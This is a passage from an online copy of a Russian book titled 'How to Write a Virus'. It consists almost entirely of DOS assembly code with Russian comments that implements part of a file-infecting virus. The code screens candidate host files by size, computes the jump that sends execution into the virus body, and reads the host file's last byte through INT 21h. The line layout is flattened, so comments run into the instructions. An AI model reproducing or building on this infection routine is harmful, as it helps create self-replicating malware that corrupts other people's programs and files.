"Игорь Коваль. Как написать вирус" - читать интересную книгу автора cmp ax,64000 ;Файл длиннее
;64000 байт ? jna toto ;Нет ... jmp find_next ;Да - тогда он ;нам не подходит toto: test ax,000fh ;Округлим размер jz krat_16 ;до целого числа or ax,000fh ;параграфов в inc ax ;большую сторону krat_16: mov di,ax ;И запишем ок- ;ругленное зна- ;чение в DI ... ;Расчитаем сме- ;щение для пере- ;хода на код ви- ;руса ... sub ax,3 ;Сама команда ;перехода зани- ;мает три байта! mov byte ptr new_bytes[1],al ;Смещение найде- mov byte ptr new_bytes[2],ah ;но ! mov ax,di ;Сколько пара- mov cl,4 ;графов содержит ;грамма ? dec ax ;Учитываем дейс- ;твие директивы ;ORG 110h ... mov byte ptr add_to_ds,al ;Корректирующее mov byte ptr add_to_ds+1,ah ;число найдено ! mov ax,4200h ;Установим ука- xor cx,cx ;затель на пос- dec si ;ледний байт mov dx,si ;файла ... int 21h jnc read_last jmp close ;Ошибка ! read_last: ;И считаем этот mov ah,3fh ;байт в ячейку mov cx,1 ; " last " ... lea dx,last int 21h jc close ;Ошибка ! |
|
|